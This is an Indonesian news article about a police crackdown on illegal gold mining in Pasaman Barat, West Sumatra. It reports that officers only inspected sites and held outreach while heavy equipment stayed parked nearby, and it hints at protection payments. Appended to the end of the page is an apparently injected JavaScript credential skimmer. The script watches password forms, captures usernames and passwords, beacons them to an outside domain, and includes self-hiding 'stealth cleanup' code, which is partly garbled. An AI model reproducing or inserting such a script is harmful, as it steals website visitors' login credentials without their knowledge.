Home / DAERAH

Minggu, 10 Agustus 2025 - 15:05 WIB

Penertiban PETI Pasaman Barat Hanya Cek Lokasi dan Sosialisasi, Alat Berat Parkir di Semak

SUMBAR, transparanmerdeka.com –Maraknya Penambangan emas tanpa izin di provinsi Sumatera Barat salah satunya kabupaten Pasaman Barat, guna mencegah aktivitas tambang ilegal ini Kepolisian daerah Sumatera Barat menggelar penertiban ter­ha­dap aktivitas Penambangan Emas Tanpa Izin (PETI) secara se­rentak di wilayah hukum masing-masing Rabu (7/8).

Kegiatan ini dilakukan aparat kepolisian yang berada di wilayah hukum lokasi tambang, Giat yang dilakukan ini sebagai langkah tegas menekan aktivitas ilegal yang merusak lingkungan.

Personil kepolisian Pasaman Barat telah melaksanakan apa yang menjadi agenda Polda dengan melaksanakan pengecekan lokasi tambang serta melakukan sosialisasi kepada masyarakat di wilayah kecamatan Talamau dan Ranah Batahan, namun untuk wilayah Rimbo janduang dan Astra yang menjadi lokasi tambang emas Kapolres tidak menjelaskan.

Dalam Giat tersebut kepolisian Pasaman Barat hanya melakukan pengecekan serta sosialisasi tidak ada melakukan penangkapan terhadap pelaku penambangan ataupun alat berat yang digunakan untuk penambangan emas.

Kapolres Pasaman Barat AKBP Agung Tribawanto S.I.K saat ditanya mengenai Giat serentak yang dilakukan kepolisian daerah Sumatera Barat hanya menjawab, “Kita Laksanakan giat cek lokasi dan sosialisasi giat peti di wilayah Talamau dan Rabat,” ungkapnya singkat.

Baca Juga :  Awal Tahun, PLN Beri Promo Tambah Daya Diskon 50 Persen

Kemudian Kapolres mengirimkan foto sebagai bukti giat yang telah dilakukan yakni pembakaran terhadap 1 Box yang di duga tidak terpakai lagi, disertai dengan so­sialisasi dan edukasi kepa­da masya­rakat, meninjau lokasi, serta memasang Spanduk himbauan berisikan larangan PETI dan anca­man huku­mannya, yakni pi­dana hing­ga 5 tahun dan den­da mak­simal Rp 100 miliar.

Saat ditanyakan dari giat tersebut apakah pihak kepolisian tidak ada menemukan alat berat yang berada dilokasi tambang, Kemudian ia menegaskan,” kita laksanakan giat gakkum dan sosialisasi kepada tokoh dan Masyarakat agar tidak lakukan Peti tersebut,” ucapnya.

Dari hasil penelusuran kami (red, Jumat 8/8) usai giat serentak dilaksanakan masyarakat menemukan ada beberapa alat berat terindikasi biasa dipergunakan untuk aktifitas penambangan terparkir di hutan dan semak semak.

Baca Juga :  Gubernur Herman Deru Serahkan SK Remisi Umum Pada 11.275 Narapi dan Anak di Sumsel

Saat ditanyai mengenai hal itu kepada Kapolres dengan mengirimkan bukti foto alat berat yang ada di semak tersebut, Kapolres hanya diam tanpa memberi jawaban sedikit pun hingga berita ini ditayangkan.

Hal ini perlu disinyalir bahwa indikasi adanya uang payung yang selama ini menjadi polemik dimasyarakat benar adanya, sebagai uang koordinasi agar aman dan tidak akan dilakukan penangkapan terhadap pelaku penambangan serta alat berat yang digunakan.

Pada berita yang diterbitkan media ini (Transpanmerdeka.com) sebelumnya, AKBP Agung Tribawanto S.I.K dengan tegas menyatakan tidak mengetahui adanya indikasi Uang Payung tersebut.
“Kalau soal itu gak tau Pak, bisa cek di Lapangan saja Pak” katanya.

Dengan fakta yang ditemukan masyarakat dilapangan adanya alat berat yang terparkir disemak sekitaran tambang, mampukah Kapolri atau penegak Hukum lainnya seperti KPK dan kementerian lingkungan hidup mengungkap dan menangkap para mafia dan aktor intelektual tambang ilegal ini.(Fan/tim)

Share :

Baca Juga

KAB. MUBA

Pj Bupati Apriyadi Ingatkan Seluruh Kontraktor yang bekerja di Muba Sesuai Spek

KAB. MUBA

Gali Potensi Atlet Berkuda di Daerah, Herman Deru Lantik Pengkab Pordasi Muba

OKU TIMUR

Swadaya Membangun Masjid Bukti Kompaknya Umat Muslim di Sumsel

DAERAH

Sempat Diisukan Tercemar, Ternyata Sungai Berau Bersih

DAERAH

438 ASN Dapat Penghargaan Satyalencana Karya Satya

DAERAH

Tersangka Penganiaya Dokter Koas Ditahan, Bosnya Jika Cukup Unsur Akan Ditetapkan Tersangka

BANYUASIN

Tokoh-tokoh Urang Minangkabau di Sumsel Sambut Hangat Bupati PALI, Heri Amalindo

KAB. MUBA

Pj Bupati Muba Pimpin Upacara Peringatan Hari Sumpah Pemuda Ke-94
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();